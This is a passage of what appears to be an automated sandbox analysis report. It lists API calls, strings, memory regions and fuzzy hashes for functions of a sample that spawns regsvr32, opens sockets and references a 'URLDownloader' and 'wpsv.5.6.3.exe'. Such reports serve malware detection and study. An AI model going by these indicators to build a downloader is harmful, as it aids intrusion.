Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FreeTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 734271698-544719455
Opcode ID: d362a8e580703c39958d1ab9fec0a02ec5da2bad2a648030e91cff165734e93c
Instruction ID: dd5fc3daa821dda1b6518f9a5080d1dcac5ab9c80f6433aa49f69c11db3ec318
Opcode Fuzzy Hash: d362a8e580703c39958d1ab9fec0a02ec5da2bad2a648030e91cff165734e93c
Instruction Fuzzy Hash: 7A8167346002459BDB10EFE4DC46BAE7BA7EB84704F60542AE400B7792CEB8AD55CF66

Function 00CD1637 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 179windowregistrythreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00CD1659

Part of subcall function 00CD1407: SHGetKnownFolderPath.SHELL32(10018310,00000000,00000000,00000000), ref: 00CD1462
Part of subcall function 00CD1407: CoTaskMemFree.COMBASE(00000000), ref: 00CD14B5

CreateThread.KERNEL32(00000000,00000000,10005760,00000000,00000000,00000000), ref: 00CD176F
RegisterClassW.USER32(?), ref: 00CD17CE
GetSystemMetrics.USER32(00000001), ref: 00CD17D6
GetSystemMetrics.USER32(00000000), ref: 00CD17E9
CreateWindowExW.USER32(00000000,?,?,00C40000,?,?,00000190,00000078,00000000,00000000,00000000,00000000), ref: 00CD1835
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?,?), ref: 00CD1844
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CD186B
TranslateMessage.USER32(?), ref: 00CD1879
DispatchMessageW.USER32(?), ref: 00CD1883

Strings

wpsv.5.6.3.exe, xrefs: 00CD169E, 00CD170A, 00CD17FC
URLDownloader, xrefs: 00CD177F

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: Message$CreateMetricsSystemWindow$ClassDispatchFolderFreeHandleKnownModulePathRegisterShowTaskThreadTranslate
String ID: URLDownloader$wpsv.5.6.3.exe
API String ID: 3953380684-244475150
Opcode ID: 0f4a2f577f0c68d67d589a0c1dc5661a83d037daf289d79df61bc5f5d54133cf
Instruction ID: 7ddb1fa807b22b4d36432a7fac7ff41a6bfc2d806b3c88c074d83b3bbedb89c7
Opcode Fuzzy Hash: 0f4a2f577f0c68d67d589a0c1dc5661a83d037daf289d79df61bc5f5d54133cf
Instruction Fuzzy Hash: 78711CB1D00258EFEB14DFA8CC85BDDBBB4EF48700F10816AE609AB280E7749A45DF51

Function 00CE5467 Relevance: 19.7, APIs: 13, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00CE548A
getaddrinfo.WS2_32(1001C0E0,100185B0,?,00000000), ref: 00CE54D1
WSACleanup.WS2_32 ref: 00CE54E0
socket.WS2_32(?,?,?), ref: 00CE5529
WSACleanup.WS2_32 ref: 00CE553D

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: Cleanup$Startupgetaddrinfosocket
String ID:
API String ID: 2560534018-0
Opcode ID: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction ID: a3b182eb645ff2cb42151abe405b60b8ae5a3ad241c46a5b628835be6c01947f
Opcode Fuzzy Hash: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction Fuzzy Hash: D06117B1904629EFE704CFA9CD88FAD77B5FB08309F108659E519A72A0D734DA40CF65

Function 0061AD2C Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0061AD63
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 0061AD7F
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 0061AD8D
GetExitCodeProcess.KERNEL32(?), ref: 0061AD9E
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0061ADE5
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0061AE01

Strings

Helper process exited., xrefs: 0061ADAD
Helper process exited with failure code: 0x%x, xrefs: 0061ADCB
Helper process exited, but failed to get exit code., xrefs: 0061ADD7
Stopping 64-bit helper process. (PID: %u), xrefs: 0061AD55
Helper isn't responding; killing it., xrefs: 0061AD6F

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: c9807878450f3555804f3481b699adbde9aaaeedd93afa765d6bdd2e8624556d
Instruction ID: 798cb82454b907f4610273c7cefa33f3cc1412bd95dfbe18a7574247b18f10f4
Opcode Fuzzy Hash: c9807878450f3555804f3481b699adbde9aaaeedd93afa765d6bdd2e8624556d
Instruction Fuzzy Hash: EF21AF706457409AC720EBB9D5417CBBAD69F19300F088D2DF19ACB692D7B4E8C09753

Function 00CE6E77 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00CD1A3B,00CD1A3D,00000000,00000000,r<e,?,?,?,00CD1BBB,00CD1A3B,00000000,?,00CD1A3B,00CD27A3), ref: 00CE6F00
MultiByteToWideChar.KERNEL32(00000000,00000000,00CD1A3B,?,00000000,00000000,?,00CD1BBB,00CD1A3B,00000000,?,00CD1A3B), ref: 00CE6F7B
SysAllocString.OLEAUT32(00000000), ref: 00CE6F86
_com_issue_error.COMSUPP ref: 00CE6FAF
_com_issue_error.COMSUPP ref: 00CE6FB9
GetLastError.KERNEL32(80070057,r<e,?,?,?,00CD1BBB,00CD1A3B,00000000,?,00CD1A3B,00CD27A3), ref: 00CE6FBE
_com_issue_error.COMSUPP ref: 00CE6FD1
GetLastError.KERNEL32(00000000,?,?,?,00CD1BBB,00CD1A3B,00000000,?,00CD1A3B,00CD27A3), ref: 00CE6FE7
_com_issue_error.COMSUPP ref: 00CE6FFA

Strings

r<e, xrefs: 00CE6E90, 00CE6EA0

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID: r<e
API String ID: 1353541977-3210016143
Opcode ID: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction ID: 5587ba3f3628e7dfdc82ea26863c4817e34329e110ae889a49781d9ab0206843
Opcode Fuzzy Hash: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction Fuzzy Hash: C4412BB1A14295EBDB10DFAADC45BAEBBA8FF58790F108229F515D7380D734DA00C7A0

Function 0064ED7C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 145fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005F89FC: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AE7
Part of subcall function 005F89FC: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,005F8B37), ref: 005F8AF7

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0064EF6A), ref: 0064EDFF
SetFileAttributesW.KERNEL32(00000000,00000080,00000000,00000000,00000000,00000000,0064EF6A), ref: 0064EE26
SetWindowLongW.USER32(?,000000FC,0064E478), ref: 0064EE60
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33,?,?,000000FC,0064E478,00000000,00400000,00000000), ref: 0064EE95
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0064EF09
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33,?,?,000000FC,0064E478,00000000), ref: 0064EF17

Part of subcall function 005F8EF4: WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 005F8FDA

DestroyWindow.USER32(?,0064EF3A,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0064EF33,?,?,000000FC,0064E478,00000000,00400000), ref: 0064EF2D

Strings

STATIC, xrefs: 0064EE46
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 0064EEC4

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileWindow$CloseHandle$AttributesCopyCreateDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 1779715363-2312673372
Opcode ID: 77f6f6f6fb1eb5ada4cbe5229a27d75d8458d2c8502fe412c91970d5af7348ff
Instruction ID: cb016fcbe83d026b746195098022f91b3a08dbab4975f128bac4cf3c8a8463a3
Opcode Fuzzy Hash: 77f6f6f6fb1eb5ada4cbe5229a27d75d8458d2c8502fe412c91970d5af7348ff
Instruction Fuzzy Hash: 04416D70A40208AFDB40EFB8DC52AEEBBF9FB09714F51446AF500F7691E6759E008B64

Function 0061AFDC Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 124pipeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,000000FF,00000000,00000000,00000000,0061B1BF,?,00000000,0061B21A,?,?,?,00000000), ref: 0061B039
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0061B154,?,00000000,000000FF,00000000,00000000,00000000,0061B1BF), ref: 0061B096
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,?,?,00000000,0061B154,?,00000000,000000FF,00000000,00000000,00000000,0061B1BF), ref: 0061B0A3
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000004FF), ref: 0061B0EF
GetOverlappedResult.KERNEL32(?,?,00000000,000000FF,0061B12D,?,00000000), ref: 0061B119
GetLastError.KERNEL32(?,?,00000000,000000FF,0061B12D,?,00000000), ref: 0061B120

Part of subcall function 005F84D8: GetLastError.KERNEL32(00000000,005F91EE,00000005,00000000,005F9216,?,?,0066978C,?,00000000,00000000,00000000,?,00650A7F,00000000,00650A9A), ref: 005F84DB

Strings

TransactNamedPipe, xrefs: 0061B0AF
CreateEvent, xrefs: 0061B047

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: f3f6691c1874f446a7c7284f1b6927ee4e9325dc9b34836dbe96d81c1e2aff7b
Instruction ID: d0b5e641d23b1beaa1296b08846350201fa2eda204b4eae0268dfb10b8facce3
Opcode Fuzzy Hash: f3f6691c1874f446a7c7284f1b6927ee4e9325dc9b34836dbe96d81c1e2aff7b
Instruction Fuzzy Hash: 03418E70A00208AFDB01DF99CD91EEEBBB9FB0D314F1541A5FA14E7391D7749A90CA68

Function 005B155C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 82registryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,005B1656,?,00000000), ref: 005B1583

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

RegCloseKey.ADVAPI32(00000001,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005B1656,?,00000000), ref: 005B15D6

Strings

Locale, xrefs: 005B15C5
.DEFAULT\Control Panel\International, xrefs: 005B15AD
Control Panel\Desktop\ResourceLocale, xrefs: 005B15E5
GetUserDefaultUILanguage, xrefs: 005B1579
kernel32.dll, xrefs: 005B157E

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: efbe6b4b6ec2bc001232fc299448c635db1c352edd7f61c9ee6d360b2af771fb
Instruction ID: f3b80c1a87da7667449a85c8543438c8ab4114b066e130539604926b1af64128
Opcode Fuzzy Hash: efbe6b4b6ec2bc001232fc299448c635db1c352edd7f61c9ee6d360b2af771fb
Instruction Fuzzy Hash: C7219634A40604ABDB50EBB5CD66ADE7BE8FB84340FA04475E501E3581DB74BE408B58

Function 00407104 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformation), ref: 00407119
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040711F
GetLogicalProcessorInformation.KERNEL32(00000000,005B1257,GetLogicalProcessorInformation), ref: 00407132
GetLastError.KERNEL32(00000000,005B1257,GetLogicalProcessorInformation), ref: 0040713B
GetLogicalProcessorInformation.KERNEL32(00000000,005B1257,00000000,004071B2,?,00000000,005B1257,GetLogicalProcessorInformation), ref: 00407166

Strings

@, xrefs: 004071B9
GetLogicalProcessorInformation, xrefs: 0040710F
kernel32.dll, xrefs: 00407114

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: InformationLogicalProcessor$AddressErrorHandleLastModuleProc
String ID: @$GetLogicalProcessorInformation$kernel32.dll
API String ID: 1184211438-79381301
Opcode ID: b2a0f765048d362bf3b63640f3b9e4d4cc1584ec48073b734667f4f9289056ab
Instruction ID: 2a2551bed56c130c8612e6e6611bb7f0169533bd52abfaf2f231836d318f311a
Opcode Fuzzy Hash: b2a0f765048d362bf3b63640f3b9e4d4cc1584ec48073b734667f4f9289056ab
Instruction Fuzzy Hash: 99114571D08204BADB10EFA5D84576EBBF8EB44705F1481BBE914B73C1D67CAA808B5A

Function 0040ECE1 Relevance: 13.8, APIs: 9, Instructions: 257COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0040ED98

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 92cc54864dd0bbfb11f1611543af708f5326443a752958f50f1db9ea9fa0d6e6
Instruction ID: f27d7ef7acb61dd46234c6ac8536030262216957dd27a0a5aa9c93a8a5e03d54
Opcode Fuzzy Hash: 92cc54864dd0bbfb11f1611543af708f5326443a752958f50f1db9ea9fa0d6e6
Instruction Fuzzy Hash: 6EA17E75900209EFDB24DFA5D880BAEB7B5BF58300F10893AE505B73C0D7B8A945CB94

Function 100164C3 Relevance: 13.6, APIs: 9, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1001650A
___scrt_uninitialize_crt.LIBCMT ref: 10016524

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 256b102e24a693d9f51ba83eb3981e94a0f04eba2416ad11eb438865fe32d69a
Instruction ID: a50b9bcbe80e21d08239303d3e1b85a5ff725acd6039f41ad542be21913079e7
Opcode Fuzzy Hash: 256b102e24a693d9f51ba83eb3981e94a0f04eba2416ad11eb438865fe32d69a
Instruction Fuzzy Hash: A7419372E01629AFDB21CF94DD41B9E7AB9EB4C690F118129F8146F151C731DE818BE0

Function 00619BC0 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 005B09C4: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005B09D7

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00619D70,?, /s ",0066978C,regsvr32.exe",?,00619D70), ref: 00619CDE

Strings

regsvr32.exe", xrefs: 00619C0F
0x%x, xrefs: 00619D01
Spawning 64-bit RegSvr32: , xrefs: 00619C59
Spawning 32-bit RegSvr32: , xrefs: 00619C73
CreateProcess, xrefs: 00619CD0
/s ", xrefs: 00619C37
/u, xrefs: 00619C2A
D, xrefs: 00619C94

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: bb828082893d3c3d641e3fdd4af0eaaf4cc23e92c20017eec766e67e36a9a3d6
Instruction ID: 91a7d65596da60d3ab410b317687a4738a38aed02517376cad794b957d245f8b
Opcode Fuzzy Hash: bb828082893d3c3d641e3fdd4af0eaaf4cc23e92c20017eec766e67e36a9a3d6
Instruction Fuzzy Hash: A5413F70E0024C9BDB14EFE5D892ADDBBBAAF49304F64407EE504B7282D7746E44CB65

Function 10012150 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10012187
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10012194
?epptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1001219F
?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ.MSVCP140 ref: 100121BB

Strings

, xrefs: 1001223B

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

